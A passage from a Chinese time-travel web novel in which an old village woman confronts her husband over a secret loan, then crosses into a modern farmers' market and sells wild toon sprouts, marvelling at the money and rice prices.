“你借家里的钱都不知会我一声?!一下子借出去两贯钱,你当咱家一共有多少!”
李大江皱着眉看着万春兰:“你嚷嚷什么,大晚上让人听见像什么话!”
你倒是要上脸了?把家里的钱拿出去充大爷涨脸了是吗!
万春兰气得脑瓜子里嗡嗡响。
“借给谁了!”
“张老三。”
“张老三跟你借这么多钱干什么?”
“不知道,说有急用。”
“你借出去这么多钱,连人家干什么都不知道?我现在就去张老三家!”
“你站住!”
刘大江猛地站起来,冲过来对着万春兰怒了:“我刚把钱借出去,你大晚上的找上人家去,你要干什么!”
“你要敢去,我休了你!”
万春兰瞪大眼,直接一股血涌上脸冲着刘大江就挠过去:“刘大江!你还是不是人!你敢休了我,我跟你拼了!”
刘大江被万春兰一爪子挠到脸上疼的大叫:“啊!你个死老婆子!你敢跟我动手!我看你是不想好了!”
两边厢房儿子儿媳妇听动静不妙,赶紧开门跑了过来,“砰砰砰”敲门——
“爹,娘,怎么了是?”
“有什么事儿好好说啊!别激动!”
晚上吃饭时不还好好的吗,怎么这会儿吵的要打起来了!
“唰——”大门从里面被打开,万春兰看着站在门外的儿子儿媳妇们,脸一垮抓着俩儿子的手就哭嚎:
“我不活了!你们爹背着我把咱家钱全拿出去借人了!告诉都没告诉我一声,他还要休了我,我不活了啊!”
啊?!
儿子儿媳妇们大惊失色,赶紧扶着万春兰,
“娘,娘,你别激动!爹那是气头上瞎说的。”
“爹把咱家钱都借出去了?”
刘大江从屋里冲过来,脸上被挠的火辣辣的疼,听见万春兰的话顿时气的老脸扭曲,指着万春兰跳脚:
“你们听你娘瞎说八道!哪个把钱全借人了,就借了两贯钱!”
“还就两贯钱??你当家里一共有多少!”
两个儿媳妇听到公爹借了两贯钱出去,顿时心里一抽,低下头心疼的皱眉。
这公爹也太大方了,两贯钱说借就借了,那可是两贯钱!一个青壮去镇上给人家出大力做一天短工才得40文工钱,她们做个绣活,也就卖个几文钱。
公爹一挥手借出去两贯钱,他们要干多少活儿才能攒出来两贯钱啊?怪不得给婆母气成这样。
虽然没有说,但两个儿媳妇心里已经偏向婆母了,全去安慰万春兰,
“娘,你先消消气,消消气。”
万春兰揪着衣领哭诉:
“他要休了我!我为了咱们这个家几十年,临老了你们爹说要休了我,我活着还有什么意思!”
“娘!爹在气头上瞎说的,怎么可能休了您,咱这个家怎么少的了您呢!”两个儿媳妇连连安慰,连屋子里头几个扒着门框的小孙子们都跑过来了,“阿奶,阿奶你怎么了?”
年纪最小的小禾都吓哭了。
“阿爷,不要撵阿奶走。”
俩儿子也埋怨亲爹说话太重。
“爹,你怎么能说休了娘的话呢。”
“咱们一家人有什么事好好商量,吵归吵,您这么说多伤娘的心啊。”
看全家站一起一起数落他,
刘大江气得直喘气,太阳穴直抽抽,气得他肝疼。
这大晚上的闹成这样,刘大江焦头烂额,眼看旁边邻居都有出来看热闹的,
刘大江只觉得脸皮都丢光了,气急败坏指着万春兰,
“我就那么一说!”
“你个老婆子听风就是雨,你!你看你闹的好事!”
“是我要闹的吗?”万春兰哭嚎着抹眼泪,“话是不是你说的?钱是不是你借的?到底是谁干的好事。”
“借钱都不跟我说一声,你还把我当这个家的人吗!你要休就休了我吧!儿啊——”
“娘!哎呀爹,你快说句话啊!”
话全让万春兰说了,刘大江本来就理亏,你你你个半天说不出一句占理的话。
气到最后刘大江大吼一声:
“好了!别吵了!我的错我的错,行了吧!都滚回去睡觉,睡觉!”
转身摔门进屋。
看刘大江进了屋,俩儿子儿媳给万春兰扶起来。
“娘,爹认错了,您别难过了。”
“是啊娘,就说这个家离不开你呢,消消气儿。”
万春兰站起来收了声,抬手抹了抹脸上干嚎的泪。
闹了这么一场,全家都知道刘大江借了两贯钱出去。
大晚上的本来就静,
估计邻着的几个邻居也都听到了。
万春兰瞅着儿子儿媳妇们,挥手叫他们回去睡觉。
“行了,你们回去吧。”
看几个孙子都有些怕怕的站在爹娘身后,尤其小孙女脸上还挂着泪,万春兰一阵心疼。
“回去哄哄孩子,别吓着了。”
把小禾招过来,把小丫头脸上的眼泪擦掉。
“阿奶没事,小禾不怕啊。”
小禾吸了吸鼻子,乖乖的点头。
儿子儿媳看着万春兰,又看看半关的门,小声说:
“娘,你跟爹好好说说,许是真有什么急事。”
万春兰点点头。
“行了,都回去睡觉吧。”
“娘,你也别着急上火...”
万春兰点头,“娘心里有数,回去吧,都回去吧。”
等儿子儿媳领着孩子们都回去了。
万春兰回头看着门里,收了脸色。
个老不死的,竟然敢说休了她,她能让他在儿子儿媳面前好过?
她顺了几口气。
冷下个脸,哼一声进屋关了门。
屋里头刘大江憋屈的不行,背着身躺在床上,听见万春兰进来用力闭上双眼,看都不想看万春兰一眼。
万春兰瞅刘大江那死德行,
在外面躺下。
刚躺下,刘大江就使劲往里面挪,故意弄出很大声音。
万春兰白楞眼皮,暗自呸了一口。
她也用力往外挪了一下。
一张床中间隔着老远的距离,两人背对背,谁也不搭理谁。
万春兰枕着枕头,看着窗上的月光,透的窗户纸微微发白。
黑暗里万春兰皱着眉。
死老头子说钱借给张老三了,她有点不信。
张老三跟刘大江是好哥们,俩人要好了几十年,两家关系一直都比较近,没听说张老三家最近有什么缺钱的地方啊,难不成张老三去赌钱了?
家里一下少了两贯钱,这真是动到疼处了。这每年家里赚多少钱都是有数的,少一文钱都不好赚,每年的两税、各种杂税、徭役,还有家里人的吃食穿衣、过年过节的祭祀、走亲戚、家里人口越来越多,孩子越来越大......哪里不需要钱?这一下少了两贯,万春兰愁的都睡不着觉!
一夜到天亮。
第二天一早,万春兰就去了张老三家。临走前把钱柜钥匙一并揣走了。
她出门的时候刘大江就阴沉着一张老脸看着,一言不发。
张老
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三家在村西边,跟他们家隔着一条村路。
到张老三家门前,他家里人也都起了。
“诶?万婶儿,怎么这么早来了?”张老三的闺女看到门前的万春兰,过来打招呼。
万春兰瞅着人,笑道:“你爹在家不?我过来有点事问问他。”
“哦好的,我去给您叫我爹。”
不一会儿张老三过来了,张老三长得其貌不扬,国字脸稀疏眉,看着是个憨厚模样。
他也刚起没多久,看见万春兰在门口,快走两步过来。
“怎么了嫂子?”
万春兰看着张老三,看看周围,招呼张老三,到墙根底下。
俩人到张老三家门外的墙根底下,万春兰看着张老三问:
“昨天你去跟我们家老刘借钱了?”
万春兰盯着张老三看。
张老三一顿,点点头。
“对。”
还真借给他了?
万春兰挑起眉,疑惑:“你...家里最近急用钱?”
“那个...”张老三回头瞅瞅家里,一副有难言之隐的样子,低声说:
“唉,嫂子你别问了,这钱到时候我肯定还上,你别跟我家里人说,他们都不知道。”
万春兰皱起了眉。
“别说啊嫂子,拜托了。”张老三看着万春兰讨好的笑了笑,不让她跟自己家人说,一副很为难的样子。
万春兰皱了皱眉,点头道:
“我把你叫出来,就是不想声张的意思。你...要是遇上什么事,还是跟家里商量的好。”
“是是,我晓得,我也是不想让家里人操心。”
话说到这份上,该问的问了,
张老三说钱借给他了,借钱干什么他不说,万春兰也不能死逼着他说。
别看她在家跟刘大江闹的凶,那是治他呢,对外,不能用对家里人的法子,是要讲人情世故的。
大家毕竟一个村里生活几十年交情了。
两家又是老交情,要不是一下子少了那么多,她都不会亲自找上门来问。
眼下张老三承认说那钱是借给他了,却不说借去干什么,而且还瞒着不让家里人知道,万春兰心里打鼓,这张老三耍什么名堂呢?
“没事了,那我走了。”
“慢走啊嫂子。”
万春兰摆摆手转身离开张老三家,锁着眉回了家。
万春兰走后,张老三的老妻过来问他:“刘大手家的一大早来找你干嘛?”刘大江因为有一双大手,所以村里基本叫他都叫刘大手。
张老三随意的回道:“问我点事儿。”
“她有什么事问你?”
“问大手哥的事儿呗。行了行了,赶紧收拾做饭吧,一会儿吃完饭还得去上游打水呢。”
...
万春兰回到家。家里早饭做好了。
刘大江看万春兰回来。
不客气的哼一声。
万春兰没搭理他。
两个儿子儿媳妇不停看刘大江和万春兰的脸色。
昨晚上回屋后没听爹娘继续吵架,现在看样子还没和好。
娘一早出门不知道干什么去了,娘走后,爹的脸色就特别不好,现在回来了,两人谁也不搭理谁,连眼神儿都没有一个,家里气压低的很。
弄的家里其他人也不敢多说话。
一顿早饭吃的鸦雀无声。
吃完早饭,万春兰提着菜篮子出门,孙女小禾跑到跟前悄悄声问:“阿奶,你干什么去?”万春兰摸了摸小孙女的脑袋说:“阿奶去山上挖野菜,你在家乖,去跟哥哥们玩。”
小禾拽着万春兰的衣角认真叮嘱:“那阿奶今天早点回来,不要摔跤了。”
万春兰摸着小孙女笑起来:“阿奶知道了,乖,去玩儿吧。”
刘小禾:“嗯!”
万春兰回头扫了一眼,挎着菜篮子,转身出门去了。
万春兰走后,刘大江转身进了老屋,没一会儿后出来,也出去了。
刘大江出了家门,往四周瞅瞅,晃悠到张老三家。
他站在门口,冲着院儿里叫到。
“老三。”招招手。
远处小路口的一截墙角后,说去挖野菜的万春兰悄悄冒出头,盯着俩人。
8. 第 8 章
“来了。”
张老三从院子里出来,和刘大江出了家门在路上走。
“来找你了?”
“嗯,一早过来的,把我叫到墙根底下问的我。”
刘大江哼了一声。
幸好昨天他过来说了一声。
昨天他把钱拿给孙红云后,想了想,到张老三家走了一趟,叮嘱说,要是万春兰来问,就说这钱是借给他了。
要不说俩人是几十年的老交情。
张老三二话不说就帮着抗下来了。
不过张老三有些担心的问刘大江:“你家的不会来跟我家里的说吧?”两贯钱可不少呢,要是闹到他家里去,他可没处交代。
刘大江唬起脸:“她敢!她要是敢去闹到你家里去,我当真就休了她!”
张老三连忙拍着老哥们肩膀,“不至于不至于。”
这时他看见了刘大江脸上的口子挂的彩,哦呦一声,“还跟你动上手了?”
刘大江脸上挂不住,扯了个谎,“昨天天黑不注意磕的。”他抬手拍了拍兄弟的肩:“麻烦你了老三。”
“这话说的。咱俩什么交情?不过你这钱是借给谁了?两贯钱,可不少呢。”
刘大江叹口气,“你别管了。”
张老三瞅着刘大江的脸,搓了搓鼻子,凑近了小声说:“是不是给那个谁了?”口型做了个“孙”。
刘大江蹙着眉,点了点头。
果然是拿去给孙红云了。
张老三有些嘶牙。
“怎么一下借这么多?她不是坑你吧?”
刘大江正色道:“没有的事,她一个女人,性子又那么弱,不会做坑人的事。”
他往周围瞅了瞅,低声跟张老三说:
“是她儿子病了,没钱抓药,昨天急的哭着来求我,这人命关天的事儿,我总不能眼睁睁看着。”
张老三一听还以为孙红云儿子得了什么大病了,老脸一惊:“得病了?哦哟那是得帮一下,人命关天,确实着急。唉,他们娘几个也不容易。”
“是啊......”叹气。
“那你这钱还能要得回来吗?”
刘大江没说话。
他把钱给孙红云,就没想着要回来的。
张老三也看出来了,他怼了怼老哥们揶揄道:
“要我看,你不如把孙红云也娶进门得了,成了一家人,以后想怎么帮都成,反正她现在守寡,没个男人依靠,你不正好?”
这话说的刘大江心里一动,但嘴上却义正言辞,
“别瞎说,我就是看她可怜出手帮一把,都一个村子长大的,她来求我,我还能眼看着人有难处见死不救吗。”
张老三嘿嘿笑:“咱一个村的人多了,她怎么只找你不找别人?我看她明着就是对你有心思!”
“红云妹子当年可是咱们附近有名的标志,现在虽然老了,但底子还在那呢,这些年在镇上养着没下过地,那手和脸还都是白白净净的,咱村里这些老婆子跟人家可没法比。你可抓紧啊!”
刘大江啧了一声,使劲往下压嘴角:“都跟你说了别瞎说!”
这俩人嘀咕什么呢?
万春兰隔老远瞅着,看刘大江找了张老三出门,俩人在路上闲走,不知道嘀咕些什么。
这会儿不知道俩人说了啥,还乐呵起来了。
“诶?大手家的,你这上哪去啊?”
这时村里刘裁缝家的张婶子路过,看见万春兰过来打招呼。
万春兰转过头来瞅着人笑起来:“我这打算出去挖些野菜呢,吃了吗?”
“吃了,刚吃完,这不,打算去女婿家一趟,闺女刚生了小的,我去照看照看。”
“小兰和娃儿都好吧?”
“嘿嘿好着呢,这一胎生的顺,娃是个疼娘的,没遭什么罪。”
“哎哟真好啊。”
俩人唠了几句,张婶子着急去照看女儿和小外孙,
“我得走了,回头咱再聊啊。”
“诶快去吧,我也好走了,下回我上你家去好好看看你小外孙。”
同张婶子分开,万春兰回头看路那头,发现那边俩人好像是谈完了,她往边上躲了躲,看张老三往家走,刘大江也掉了个头,看方向好像也是往家走的。
万春兰跟上,果然看见刘大江回家了。
她停在路口,思索着皱起了眉。
“娘?这么快就回来了?”大儿媳罗菊香在院里晒被子,抬头看见万春兰回来了惊讶问。
万春兰:“我回来拿些水,今天挖完野菜我再去镇上转转,家里少了这么些钱,我不赚点,春后咱家粮税都交不上。”
万春兰故意大声的阴阳怪气了一通。
老屋里头,刘大江隐约重重哼了一声,没露头。
“去给我灌一袋水,我带着。”万春兰叫大儿媳去装水。
“诶,好。”罗菊香赶紧低头就去墙边上拿水袋装水。
这公爹婆母打官司,可别烧到她身上,
“阿奶~”孙女小禾从后院跑了出来,高兴的围着万春兰转:“阿奶你回来的好快呀。”
“阿奶回来拿点水,拿完再去山上。你在后院跟哥哥们玩呢?”
“哥哥们出去找大头他们玩啦,娘在后院拔野草,我陪娘一起拔草呢!”小禾探出小手握着的野草给万春兰看。
“乖丫头。”万春兰笑着揉揉小孙女的脑袋。
“娘,水袋。”罗菊香拿着灌满了的水袋过来给万春兰。
万春兰拿着挂在了腰间,和气的叮嘱儿媳妇:“照看着家里,我晚饭前回来。”
“诶,知道了娘,小心啊您。”
“嗯,我晓得,你忙去吧。”
万春兰牵着小孙女:“走,出去送送阿奶。”
刘小禾:“好!我送阿奶~”
万春兰牵着小孙女出了大门,小禾活泼的蹦蹦跳跳的走路,拐个弯,万春兰拉着小孙女问:
“小禾,昨天阿奶出去后,有人来家里找你阿爷吗?”
刘小禾昂头眨着眼睛努力想。
“没有。我在家的时候没有。昨天早一点的时候娘去河边洗衣裳,我去帮忙了。”
万春兰点点头,夸,“真是好孩子。”
小禾眨着大眼睛亮晶晶地嘿嘿笑。
“小禾,来,阿奶跟你说。”万春兰蹲下来,悄么声的叮嘱小丫头:
“一会儿你回家帮阿奶看着,有谁来找你阿爷的话,记下来,回来告诉阿奶。”
小丫头得了任务,顿时挺起来胸膛,双眼炯炯有神起来,“嗯!”
“不能说是阿奶让你看着的,知道不?”
小禾抬起小手捂住嘴巴,狡黠的点头悄悄说:“我知道,我跟谁都不说。我就在门口玩。”
“对,真聪明!”
万春兰摸着小孙女的脸蛋笑弯了眼,她家这丫头这聪明劲儿真招人稀罕呐!
安排好了小眼线,万春兰叫刘小禾回去,小禾转头往家里跑,看着小孙女跑回家去,万春兰这才转身,迈开步子快步往山里去。
这一早上让死老头子耽误的,太阳都升起老高了。
家里莫名其妙借出去两贯钱,搅合的她心神不宁,她现在迫不及待的想赶紧把这比钱补上。
万春兰也不晓得野菜在神仙地能不能卖出去。
野菜在村里不值钱,谁家想吃,自己去地里找就是了,谁也不会拿钱去买野菜,拿去镇上城里倒是能卖,但一来一回几十里地,就为了几文钱,不值当的。
本来昨晚想再仔细想想的,结果让死老头子弄得都没顾上。
一时半会儿她也想不到能做什么营生,反正野菜是无本买卖,卖不出去,就拿回家自己吃,怎么都不亏。
况且神仙地那个地方,万春兰想到那里各种饱满水灵的菜蔬、香喷喷的肉、堆的高高的米面粮油,还有各种眼花缭乱、各式各样见过没见过的新奇玩意,就是做不成买卖,去长长见识也好啊!
如此想着万春兰便愈发迫不及待,脚步又快了几分。
她往村外走的时候,路上看见有好几个村里人,也都拿着镰刀或者铲子背着筐子打算进山里去打野食儿。
年头不好,到现在还不下雨,村里各家各户都开始往山里跑了。
万春兰到了林子边上,已经能看见有好几个人了。
一般这时候,碰上相熟
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的,还能一起结个伴儿。今天万春兰就祈祷着别让自己碰上熟人,好在今天老天爷是站在她这边的,看见的几个要么是小年轻,要么关系一般,都不是能结伴的,打个招呼就错开了。
万春兰进了林子,一路找找看看,看到野菜她就蹲下来挖,尽量往没人的地方去。
她一路朝着南边的方向进,大约过了半个时辰,让她在林子里找到了几颗野香椿树。
万春兰站在树下翘着头往树上看,枝头上发出了嫩嫩的红绿色的芽,站在树下能闻到香醇的香椿味。
发芽了!
香椿好啊!
这个时候的香椿芽正是最嫩的时候!
这香椿,就得吃开春刚发出的嫩芽,拿水焯一下,又香又嫩有嚼劲,不管是凉拌还是炒菜都好吃,要是能再找到几颗春笋,跟香椿芽一起炒菜,那才鲜呢!
万春兰喜形于色,当下放下菜篮,解开腰带背到身上,在树下打量了一圈找到个好落脚地,踩着树杈爬上去,然后把身前的腰带套到树枝上两边打个结固定好,开始掐香椿芽。
“咔、咔、咔、”
万春兰手脚麻利,专挑最嫩的掐,够不到的就把树枝折断一截扔到树下,一会儿下去收拾。
这几棵树长得都挺高,得有一二十年了,万春兰就一个人,没往太高了上,采完一棵树小心顺着树干下去,再去另一棵树上。
采了半个多时辰,万春兰下了树站到地上。
喘了几口气擦擦汗。
看着树下堆的一堆香椿芽,万春兰高兴的蹲下开始收拾。
把叶子树枝都丢掉,只留下最嫩的芽。
收拾了又差不多有半个时辰,万春兰看着菜篮子里堆的整齐新鲜干净的香椿,终于大功告成的拍了下手。
“行了。”
干干净净的又整齐,这个卖相拿去神仙地应该可以了。
想到神仙地,万春兰的心跳开始加速起来。心口附近的黑痣似乎都在隐隐发烫。
她起身看了看周围,挎好竹篮,抬手放到心口附近,心里脑袋里都默念着白屋子。
熟悉的波浪纹过后,万春兰出现在了熟悉的白屋子里,左边的门散发着微光。
她神情振奋,挎着菜篮子过去推开门——
白光闪过,万春兰出现在了卫生间的隔间里。
昨天她就是在这里实验了几次两边来回穿越,一直没出去过,今天过来,还是在这里。
万春兰刚要推门出去,厕所门从外面被拉开了。
一个年轻女人看到万春兰在里面吓了一跳,赶紧关上门道歉,“啊对不起,我不知道里面有人。”这人怎么上厕所不锁门啊。
万春兰也被吓了一下,她推开门出去,那年轻女人就站在外间,看见万春兰的打扮一愣。
刚才没顾上,现在一看,好怪的打扮,穿的像个古代人?还挎着个菜篮子。
“哗——”一声冲水声响起,这动静吓得万春兰瞪大眼睛唰地转头,差点一嗓子叫出来。
什么动静这么响?!跟炮仗似的!
她这一惊吓,把旁边打量她的年轻女人也跟着吓一跳,睁大了眼睛跟着四处看,以为有什么吓人的东西。
伴随着冲水声旁边的隔间门打开,走出来一个有些年纪的阿姨。
上些年纪的阿姨看到外面的万春兰一愣,边往头走边回头看,寻思这什么打扮?
年轻女人找了一圈没看到有吓人的东西,一头雾水,最后看了万春兰一眼,选了阿姨刚才出来的隔间进去关上门。
万春兰看着女人进去了隔间里,她转动脑袋,没找到那炮仗似的声音从哪发出来的,但看这两个人都很正常的样子,应该不是什么危险的东西。
她放下了心,挎着菜篮子出去了。
“大鲤子鱼berber乱蹦的,6块。”
“新到奶油芭乐,18.9一箱。”
“白面、豌豆面、高粱面、玉米面......”
熟悉又热闹鼎沸的神仙地!
到处都是摊位,到处都是人,到处都是吆喝叫卖声,万春兰有些胆怯,又激动。
她握紧手里的菜篮子,准备找地方试试卖香椿!
9. 第 9 章
北京时间上午九点多,新隆农贸市场里人来人往。
万春兰看着乌泱泱的人流握紧菜篮子,紧张的溢于言表。
感觉今天神仙地比昨天还要热闹。
万春兰看到这么多人还是有些怕的,抱着菜篮子小心贴着边走。
今天周末,菜市场人流比往常多一倍,各摊位上喇叭吆喝声都比工作日卖力。
万春兰一身洗的发白的褐色窄袖粗布短衣,同样颜色的裙裤,袖口关节处都打着补丁,黑白相间的长发梳理整齐的在脑后盘个髻,用一根木簪固定着,手里挎着一篮子新鲜山菜,标准的古人打扮。
大家逛菜市场,一般不会特别注意旁人,但万春兰这幅装扮还是太“复古”了,只要走到跟前,是个人都会看一眼,然后被“惊艳”一下。
现在短视频盛行,各种搞抽象吸眼球的比比皆是,干什么的都有,大家日常网上看的多了,虽然奇怪,但接受。
每当有人看自己,万春兰就紧张,不过这些神仙地的人,看自己的眼神都没有恶意。
所以万春兰紧张归紧张,倒是没有太害怕。
她挎着菜篮子找能摆摊的地方。
菜市场里的格局几乎一样,区别只是各个摊位卖的东西不同。
万春兰留了个心眼,她没有找卖菜的摊位附近,她觉得自己是来卖野菜的,要是找个卖菜的摊位挨着,那不是撞行了吗?惹了人家不高兴怎么办。
再一个,那些掌柜们的瓜果青菜都又水灵又干净,衬托的她这点野香椿多寒碜啊,客人一对比,指定就去买摊位上的菜了,所以她看到蔬菜水果的区域就看东西过过眼瘾,摆摊的位置只往那些卖别的东西的摊位附近找。
很快,她看中一个地方,那个摊位在一个转角的位置,摊位不是卖菜的,前两排整齐的堆列着好些个敞开口的布袋,里面像是各种香料,还有其他很多她看不懂的东西,转角处正好有一个凹口空出来一小块地方。
万春兰看着那地方不错,走了过去,小心的把菜篮放到身前蹲了下来。
万春兰往角落里一蹲,瘦瘦小小的一个,反倒是显不出来她的着装了。
等了一会儿,没见掌柜来撵自己,万春兰怀着忐忑又激动的心情,守着身前的一篮子香椿,等待人来买她的野菜。
万春兰蹲守在菜篮子后面,她眼睛看着来来往往的人,很容易的就被各种新奇事物吸引去了注意力。
那人手里拿着一个大圆筒子,上头插个细管在喝,这是水杯?这么大一个啊。
这人拉着小车?哎呀,这个小车好啊,两个轮子一个长杆把手,拉着走一点不费事!
咦,这个人的长块块好大个,还能折起来呢。
呀,这对夫妻真恩爱啊,手牵着手逛街,买了东西全是丈夫拿着,还有说有笑的呢。
......
万春兰看什么都新奇,根本看不够。
这时一个戴金丝边眼镜,拉着买菜小推车,很知性斯文的老阿姨停在了万春兰面前,低头看她菜篮里的香椿。
来人了!
注意到这个人正在看自己的野菜,万春兰顿时收回注意力,整个人都紧张又振奋了起来。
来的是一位老夫人,穿的很干净的长衣长裤,头发已经白了,但是脸上并没有多少风霜,有些分辨不出年纪,感觉很像镇上那些养尊处优的老夫人。
“你这个是香椿?”
万春兰瞪大眼认真听,从老夫人的口音中慢一拍的听出了香椿二字。
万春兰这个高兴啊,她连连点头:“对,对,是香椿,我今早刚去山里采的。”
阿姨推着眼镜看了下万春兰。
口音有点重,没听懂。
她看了看万春兰奇怪的打扮,倒没太在意,把买菜车立到旁边,蹲下来拿起菜篮里的香椿芽查看。
嗯?这还是野生的香椿?
野生香椿跟人工种植的外观不大一样。
养殖的香椿芽粗长,梗的颜色浅,叶片薄大不够紧实。
她手里这香椿芽细短、红梗明显、叶片小而厚,拿到鼻子下闻闻,香味浓而醇厚,嗯,确实是野生的香椿芽。
阿姨点点头,“还挺新鲜的。”
万春兰紧盯着人,看老夫人点头一副认可的样子,她心中一喜面上露出喜色。
“怎么卖的?”她抬头问。
万春兰睁大眼睛看着,对方以为她没听清,拿着香椿又问了一遍,
“你这个香椿怎么卖啊?”
万春兰使劲支棱着耳朵,听懂了“香椿”和“怎卖”。
这是在问自己价格?
这些香椿在村里是换不到钱的,拿到集市上去的话,差不多能换两个铜板。
万春兰试探着举起两根手指。
“二十一斤?”老阿姨眨了眨眼睛。
那还卖的挺便宜的哦。
人工种植的也要十几块一斤,她这个野生的才卖二十一斤,确实不贵了。
野生香椿比种植的味道更香,香味不容易煮散更有嚼劲,下锅炒也不容易塌,现在市面上好多那种号称野生的,其实也都是养殖的,卖的还不便宜,像她这个一看就是纯野生的那种,能碰到一份不容易。
“是二十一斤吗?”老阿姨又问了一遍确认价格。
万春兰看着人,又比了下两根手指。
老阿姨确定了价格,点点头:
“行,那给我装上吧。”
老阿姨蹲
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在菜篮前打算装香椿,结果也没看见个塑料袋,这卖香椿的也没给她拿。
“你这没袋子吗?”她看着万春兰问。
万春兰盯着人,这一句没听懂了。
看这卖香椿的有些无措的样子看着她,
老阿姨抿抿嘴唇,行吧,她自己从小推车的布兜里找出个叠好的塑料袋,散开抖了抖,然后装菜。
她边挑边装,基本上每颗香椿都挺好的,老阿姨挑的满意,干脆把菜篮里的香椿芽都拿上了。
“给我称称吧。”她把装好后的塑料袋递给万春兰。
万春兰懵了,怎么这位老夫人把自己的香椿装到了一个红色袋子里,又递给自己,这是什么意思?
老阿姨递着塑料袋,看对方不接,她低头扫了圈一目了然的菜篮四周,称也没有?
“你来卖菜,怎么连个称都没有啊。”她有些皱眉的问。
看老夫人皱眉了,万春兰心下有些慌,伸手接过来塑料袋,忐忑茫然的拿在手里不知道该干什么。
“哎哟,你这生意做的真是...”
老阿姨看着衣裳老旧全打着补丁,沧桑又瘦弱,一看就是个很穷苦的老太太的万春兰,抿了下唇没说下去,叹了口气,她把塑料袋要回去,到旁边卖调味料的那,叫老板帮忙称一下。
“老板,你帮我们把这个称一下好吧?”
“嗯?行啊,来我帮你称一下。”
拿到电子秤上一放。
“五斤多一点点,五斤一两。”
“好,谢谢你啊。”
“嘿嘿没事儿。”
老阿姨拿过塑料袋,回头拿着菜回来问万春兰:“五斤一两,算我五斤好不好?”
万春兰依旧茫然。
调味料摊位老板这才发现,自己摊位旁边来了个提菜篮卖菜的老太太,然后不出意外的被万春兰的打扮惊讶到了。
看万春兰没说话,一副拘谨不敢说话的样子,老阿姨一顿。
“算了,正常算吧。”
阿姨拿出手机,看了万春兰一眼,又把手机放了回去,打开身前的小背包,从里面找出一张一百的,又拿出来一张五块钱,跟一百块一起递给万春兰。
“五斤一两,没少给你哦。”
万春兰看着老夫人递给自己面前的两张花纸,又看了看老夫人,小心的伸手接过。
老阿姨看着万春兰小心翼翼的样子,不知道想到些什么,叹了口气,把香椿的塑料袋放到买菜车里面放好,转身拉着小车走了。
万春兰目送老夫人离开,她低头看着手里的两张花纸,心底里漫上一层喜悦溢出到脸上。
这就是昨天看见这里人用来换东西的花纸?
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10. 第 10 章
没想到还真卖出去了!
这么快就换到了神仙地的花纸!
还换到了两张!
万春兰高兴的反反复复看手里的一百块和五块钱。
一张红色的大纸,一张紫色小纸,两张上面都有一个人头像,红色的一面画着房子,紫色的画着一座山。
手指摸上去又滑又有韧劲,不知道是什么用纸做的,又漂亮又厚实。
两张纸上面都有字,万春兰识得大纸上面的“壹”字,小纸上面认识个“伍”。
别看万春兰是个平民老妇,她也是识几个大字的!
比如数字的一到十,还有,酒、布、米、这些常见的店肆字样,她都是认得的。
万春兰看着一百元上的“壹”,这个壹是等于一文钱的意思吗?
那这一张是伍,难不成是五文钱?
哎呀,那她岂不是赚了?那些香椿芽也就值两文钱呢!
一想到自己赚了万春兰顿时高兴的不行。
咦?这张红色的?万春兰又仔细看了看一百元,她记得昨天有看到有人用花纸换东西,好像就是用的红色的这种花纸,还换了不少呢。
哎哟!
万春兰神色一肃,
她再仔细看,壹后面还有个佰字,好像是一百!
万春兰快速的眨眼睛,看着手里的一百块。
想了想,她小心的把两张纸平放到袖口里收好,然后挎起她的菜篮子,寻着神仙地的摊位找了起来。
走了一行过道,万春兰找到了卖米的地方。
她看着好几个白色袋子里装的全是白花花的米粒,一粒黄糙米没看见。
这里卖的全是精米啊!
一般他们农家人,都是吃掺着糠和碎粟的黄色糙米粝米,只有富贵人家才会吃这种去糠去麸的精米。
精米的价格比糙米贵好几倍呢,在米店里要卖十几文一斤,换糙米能多换两三斤,要是换碎米能换到半斗。
这些米比镇上粮铺里卖的精米还要白的多,肯定更贵!
万春兰找了一圈没找到糙米,只能问这种米了。
她站在摊位前,找到掌柜,指着大米拘谨的开口问:
“掌柜,请问米怎么卖的?”
卖米粮的老板看见万春兰已经睁大眼打量一圈了,见她手指着大米,
“买米啊?”
“你要哪种?有东北大米,南方大米,泰国香米,普通的基本就是两块到三块左右,贵一点的有五常米,稻花香,有5块多、6块的,你看你要哪种?”
这一串话太长了,万春兰紧赶慢赶的听,啥也没听懂。
老板说完看万春兰一副茫然的样子。
看她的打扮,额,虽然怪了点,但模样是挺穷苦的。
他抓了一把东北圆粒米道:
“大娘,要不你拿这个吧,这个实惠,1.9一斤,你要的话我多给你装点,其实煮出来大差不差,都挺好吃的,大米嘛主要为了吃饱。”
万春兰看掌柜抓了一把米给自己看,她凑过头去看,白白胖胖的米粒长得可饱满了,壳脱的特别干净,一个麸皮儿都没有,真是好米啊。
万春兰看着掌柜手里的大米眼馋。
她从袖口里拿出一百元,问卖米老板:
“掌柜,这一张,能换多少这种米啊?”
要是能换一把,她就存起来,等攒够一斗到镇上粮铺去多换些糙米。
看万春兰拿出来了一百块钱,米店老板转头从米袋堆里拎出来一袋五十斤的大米出来放到她面前:
“喏,这五十斤的,然后我再给你称五斤。”
万春兰眼睛瞬间瞪的老大,吃惊的看着老板拎到她跟前沉甸甸的一大袋子。
万春兰惊的说话都结巴了:“掌掌柜,这这这这、能能能换这么多吗?”
“啊?”老板抖开个塑料袋拿着铲子唰唰往里铲米。
五铲上称,正好。
“给,大娘,这是五斤。”
还有!
看掌柜又递来一袋子米,万春兰眼都要瞪掉了!
她指着手里的一百元,比量那一大一小两袋米不敢置信地问卖米老板:“这这这这一张,能换这么多??”
老板没太听懂。
“多了?”他挠挠头,看着万春兰:“你不要这么多?那你要几斤啊?”
“这一个,换这些,真的吗???”万春兰来来回回指着一百元和两袋米。
掌柜似懂非懂点点头:
“是啊,你不是要一百块钱的吗?这些就一百块钱的。”
看老板点头,万春兰保持震惊状愣在原地,大脑抽空,失去思考了。
看大娘一副不知道为什么吃惊呆住的样子,卖米老板被搞得一头雾水。
“你要不要啊?”
一双粗糙干瘦的手颤颤巍巍放到了两袋米上。
万春兰有些晕的晃了晃,但还是站稳了,她抓着五十斤的米袋子两边提了提,用力吞了吞口水,心惊肉跳的看着卖米老板问:“掌柜,这有多少斤?”
嗯?
老板看看万春兰,看看
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大米。
通过这两天跟神仙地的人的接触,万春兰也隐约明白了,她听不太懂他们说话,同样的他们也听不太懂她的话。
她看着卖米老板,用最简短的,一个字一个字的说,又问了一遍:“几斤?”
“多少斤?”卖米老板抬高眼眉,指着五十斤的大米袋子:“五十斤啊,喏,你看这写着的,25kg,50斤。”
万春兰弯下腰去瞅,她不认识阿拉伯数字。
“五十斤,这是五十斤的。”
两秒后万春兰鼓圆了眼睛。
五十!
掌柜说的五十!
